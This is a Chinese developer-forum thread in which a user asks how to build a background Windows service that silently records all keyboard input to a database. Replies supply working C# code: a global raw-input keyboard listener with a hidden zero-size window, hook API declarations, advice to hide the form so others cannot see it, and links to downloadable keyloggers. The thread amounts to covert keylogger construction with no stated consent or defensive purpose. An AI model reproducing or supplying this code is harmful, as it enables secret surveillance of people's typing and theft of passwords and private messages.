请问各位,我想做一个win service程序,放在后台.不停的监听键盘输入.然后把他保存到数据库中.应该如何实现.????谢谢

解决方案 »

  1.   

    监听部分:用p/invoke调用Windows API:
    [DllImport("user32.dll", CharSet = CharSet.Auto,
            CallingConvention = CallingConvention.StdCall, SetLastError = true)]
            private static extern IntPtr SetWindowsHookEx(
                int idHook,
                HookProc lpfn,
                IntPtr hMod,
                int dwThreadId
           );HookProc里面写你的回调函数,
    Windows Service很简单拉,创建一个windows service就可以了,最后存数据库就不用说了吧,取得了键盘的keycode存到数据库就行了
      

  2.   

    在.NET中并不支持全局的Hook,所以我不建议使用Hook。
    你可以通过应用程序一级的消息来得到对按键的处理。比如通过MessageFilter来对应用程序的每一个消息进行处理,可以参考下面的例子不用任何API就可以做到:using System;
    using System.Collections.Generic;
    using System.Windows.Forms;namespace AddMessageFilterApp
    {
    static class Program
    {
    class MsgFilter : IMessageFilter
    {
    public bool PreFilterMessage(ref Message m)
    {
    if (m.Msg == 0x100 && m.WParam == (IntPtr)0x11) //(WM_RBUTTONDOWN)
    {
    System.Console.WriteLine(m);
    }
    else if (m.Msg == 0x100)//WM_KEYDOWN
    {
    System.Console.WriteLine(m);
    }
    else if (m.Msg == 0x101)//WM_KEYUP
    {
    System.Console.WriteLine(m);
    }
    else if (m.Msg == 102)//WM_CHAR
    {
    System.Console.WriteLine(m);
    }
    return false;
    }
    }/// <summary>
    /// 应用程序的主入口点。
    /// </summary>
    [STAThread]
    static void Main()
    {
    Application.EnableVisualStyles();
    MsgFilter ms=new MsgFilter();
    Application.AddMessageFilter(ms);
    Application.SetCompatibleTextRenderingDefault(false);
    Application.Run(new Form1());
    Application.RemoveMessageFilter(ms);
    }
    }
    }http://hi.baidu.com/xuguoyi/blog/item/c35e3ddd55d376d88c102976.html
      

  3.   

    楼上的,人家用的是Windows Service啊,你这能全局的跟踪键盘事件吗?我把你窗口一最小化,点到其他窗口你还能跟踪吗?还有“在.NET中并不支持全局的Hook ”这是谁说的啊?:) 纯属探讨。
      

  4.   

    KbdListener类using System;
    using System.Windows.Forms;
    using System.Runtime.InteropServices;
    using System.ComponentModel;namespace Example
    {
    /// <summary>
    /// The KeyboardListener is a static class that allows registering a number
    /// of event handlers that you want to get called in case some keyboard key is pressed 
    /// or released. The nice thing is that this KeyboardListener is also active in case
    /// the parent application is running in the back.
    /// </summary>
    [System.Security.Permissions.PermissionSet(System.Security.Permissions.SecurityAction.Demand, Name="SkipVerification")]
    public class KeyboardListener
    {
    #region Private declarations /// <summary>
    /// The Window that intercepts Keyboard messages
    /// </summary>
    private static ListeningWindow s_Listener; #endregion #region Private methods
    /// <summary>
    /// The function that will handle all keyboard activity signaled by the ListeningWindow.
    /// In this context handling means calling all registered subscribers for every key pressed / released.
    /// </summary>
    /// <res>
    /// Inside this method the events could also be fired by calling
    /// s_KeyEventHandler(null,new KeyEventArgs(key,msg)) However, in case one of the registered
    /// subscribers throws an exception, execution of the non-executed subscribers is cancelled.
    /// </res>
    /// <param name="key"></param>
    /// <param name="msg"></param>
    private static void KeyHandler(ushort key, uint msg)
    {
    if(s_KeyEventHandler != null)
    {
    Delegate[] delegates = s_KeyEventHandler.GetInvocationList(); foreach(Delegate del in delegates)
    {
    EventHandler sink = (EventHandler)del; try
    {
    // This is a static class, therefore null is passed as the object reference
    sink(null,new UniversalKeyEventArgs(key,msg));
    } // You can add some meaningful code to this catch block.
    catch{};
    }
    }
    }
    #endregion #region Public declarations /// <summary>
    /// An instance of this class is passed when Keyboard events are fired by the KeyboardListener.
    /// </summary>
    public class UniversalKeyEventArgs : KeyEventArgs
    {
    public readonly uint m_Msg;
    public readonly ushort m_Key; public UniversalKeyEventArgs(ushort aKey, uint aMsg) : base((Keys)aKey)
    {
    m_Msg = aMsg;
    m_Key = aKey;
    }
    } /// <summary>
    /// For every application thread that is interested in keyboard events
    /// an EventHandler can be added to this variable
    /// </summary>
    public static event EventHandler s_KeyEventHandler; #endregion #region Public methods static KeyboardListener()
    {
    ListeningWindow.KeyDelegate aKeyDelegate = new ListeningWindow.KeyDelegate(KeyHandler);
    s_Listener = new ListeningWindow(aKeyDelegate);
    } #endregion #region Definition ListeningWindow class
    /// <summary>
    /// A ListeningWindow object is a Window that intercepts Keyboard events.
    /// </summary>
    private class ListeningWindow : NativeWindow
    {
    #region Declarations
    public delegate void KeyDelegate( ushort key, uint msg ); private const int 
    WS_CLIPCHILDREN = 0x02000000,
    WM_INPUT = 0x00FF,
    RIDEV_INPUTSINK = 0x00000100,
    RID_INPUT = 0x10000003,
    RIM_TYPEKEYBOARD = 1; private uint m_PrevMessage = 0;
    private ushort m_PrevControlKey = 0;
    private KeyDelegate m_KeyHandler = null;
    #endregion #region Unsafe types
    internal unsafe struct RAWINPUTDEV 
    {
    public ushort usUsagePage;
    public ushort usUsage;
    public uint dwFlags;
    public void* hwndTarget;
    }; internal unsafe struct RAWINPUTHEADER 
    {
    public uint dwType;
    public uint dwSize;
    public void* hDevice;
    public void* wParam;
    }; internal unsafe struct RAWINPUTHKEYBOARD 
    {
    public RAWINPUTHEADER header;
    public ushort MakeCode;
    public ushort Flags;
    public ushort Reserved;
    public ushort VKey;
    public uint Message;
    public uint ExtraInformation; };
    #endregion public ListeningWindow(KeyDelegate keyHandlerFunction)
    {
    m_KeyHandler = keyHandlerFunction; CreateParams cp = new CreateParams(); // Fill in the CreateParams details.
    cp.Caption = "Hidden window";
    cp.ClassName = null;
    cp.X = 0x7FFFFFFF;
    cp.Y = 0x7FFFFFFF;
    cp.Height = 0;
    cp.Width = 0;
    //cp.Parent = parent.Handle;
    cp.Style = WS_CLIPCHILDREN; // Create the actual invisible window
    this.CreateHandle(cp); // Register for Keyboard notification
    unsafe
    {
    try
    {
    RAWINPUTDEV myRawDevice = new RAWINPUTDEV();
    myRawDevice.usUsagePage = 0x01;
    myRawDevice.usUsage = 0x06;
    myRawDevice.dwFlags = RIDEV_INPUTSINK;
    myRawDevice.hwndTarget = this.Handle.ToPointer(); if (RegisterRawInputDevices(&myRawDevice, 1, (uint)sizeof(RAWINPUTDEV)) == false) 
    {
    int err = Marshal.GetLastWin32Error();
    throw new Win32Exception(err,"ListeningWindow::RegisterRawInputDevices");
    }
    } catch {throw;}
    }
    }
    #region Private methods
    protected override void WndProc(ref Message m)
    {
    switch (m.Msg)
    {
    case WM_INPUT:
    {
    try
    {
    unsafe
    {
    uint dwSize, receivedBytes;
    uint sizeof_RAWINPUTHEADER = (uint)(sizeof(RAWINPUTHEADER)); // Find out the size of the buffer we have to provide
    int res = GetRawInputData(m.LParam.ToPointer(), RID_INPUT, null, &dwSize, sizeof_RAWINPUTHEADER);

    if(res == 0)
    {
    // Allocate a buffer and ...
    byte* lpb = stackalloc byte[(int)dwSize]; // ... get the data
    receivedBytes = (uint)GetRawInputData((RAWINPUTHKEYBOARD*)(m.LParam.ToPointer()), RID_INPUT, lpb, &dwSize, sizeof_RAWINPUTHEADER);
    if ( receivedBytes == dwSize )
    {
    RAWINPUTHKEYBOARD* keybData = (RAWINPUTHKEYBOARD*)lpb; // Finally, analyze the data
    if(keybData->header.dwType == RIM_TYPEKEYBOARD)
    {
    if((m_PrevControlKey != keybData->VKey) || (m_PrevMessage != keybData->Message))
    {
    m_PrevControlKey = keybData->VKey;
    m_PrevMessage = keybData->Message; // Call the delegate in case data satisfies
    m_KeyHandler(keybData->VKey,keybData->Message);
    }
    }
    }
    else
    {
    string errMsg = string.Format("WndProc::GetRawInputData (2) received {0} bytes while expected {1} bytes", receivedBytes, dwSize);
    throw new Exception(errMsg);
    }
    }
    else
    {
    string errMsg = string.Format("WndProc::GetRawInputData (1) returned non zero value ({0})", res);
    throw new Exception(errMsg);
    }
    }
    } catch {throw;}
    }
    break;
    } // In case you forget this you will run into problems
    base.WndProc(ref m);
    }       

    #endregion

    #region Private external methods [DllImport("User32.dll",CharSet = CharSet.Ansi,SetLastError=true)]
    [return : MarshalAs(UnmanagedType.Bool)]
    internal static extern unsafe bool RegisterRawInputDevices( RAWINPUTDEV* rawInputDevices, uint numDevices, uint size); [DllImport("User32.dll",CharSet = CharSet.Ansi,SetLastError=true)]
    [return : MarshalAs(UnmanagedType.I4)]
    internal static extern unsafe int GetRawInputData( void* hRawInput,
    uint uiCommand,
    byte* pData,
    uint* pcbSize,
    uint cbSizeHeader
    ); #endregion
    }
    #endregion
    }
    }
      

  5.   

    在service里面跑出个form 窗体 你可以将它隐藏 不让别人看见 然后在form窗体中
    private void Form1_Load(object sender, System.EventArgs e)
    {
    // Watch for keyboard activity
    KeyboardListener.s_KeyEventHandler += new EventHandler(KeyboardListener_s_KeyEventHandler);
    }private void KeyboardListener_s_KeyEventHandler(object sender, EventArgs e)
            {
                KeyboardListener.UniversalKeyEventArgs eventArgs = (KeyboardListener.UniversalKeyEventArgs)e;
                        这些就是你按下的键的按键信息
            “eventArgs.m_Key, eventArgs.m_Msg, eventArgs.KeyData”;
      

  6.   

    http://www.diybl.com/course/4_webprogram/asp.net/netjs/200832/102539.html
      

  7.   

    internal unsafe struct RAWINPUTDEV 

    public ushort usUsagePage; 
    public ushort usUsage; 
    public uint dwFlags; 
    public void* hwndTarget; 
    }; internal unsafe struct RAWINPUTHEADER 

    public uint dwType; 
    public uint dwSize; 
    public void* hDevice; 
    public void* wParam; 
    }; 
    //RAWINPUTHEADER  不安全代码 云云
      

  8.   

    目前需要用到不安全代码,因为.net不提供这些太底层的访问。
      

  9.   

    我有应经写好的service 代码 你邮箱偶发给你
      

  10.   

    private void Form1_Load(object sender, System.EventArgs e)
    {
      // Watch for keyboard activity 
      KeyboardListener.s_KeyEventHandler += new EventHandler(KeyboardListener_s_KeyEventHandler); 
    }private void KeyboardListener_s_KeyEventHandler(object sender, EventArgs e)

    KeyboardListener.UniversalKeyEventArgs eventArgs = (KeyboardListener.UniversalKeyEventArgs)e; 
    MessageBox.Show(eventArgs.KeyData.ToString());
    }
    我是这么写的.运行后.我再键盘上键一个"A" 它为什么会出现两个MessageBox.Show()??
      

  11.   

    谁说的不支持?
    楼主可以参考 :
    http://download.csdn.net/source/484702
    这有一个实例,是将键盘输入的记录到一个文本文件
      

  12.   

    http://d.download.csdn.net/down/203237/pojianbing
    这个也是,我测试过的,可以记录的
    我在想的是这记录的都是英文
    假如要记录中文怎么办?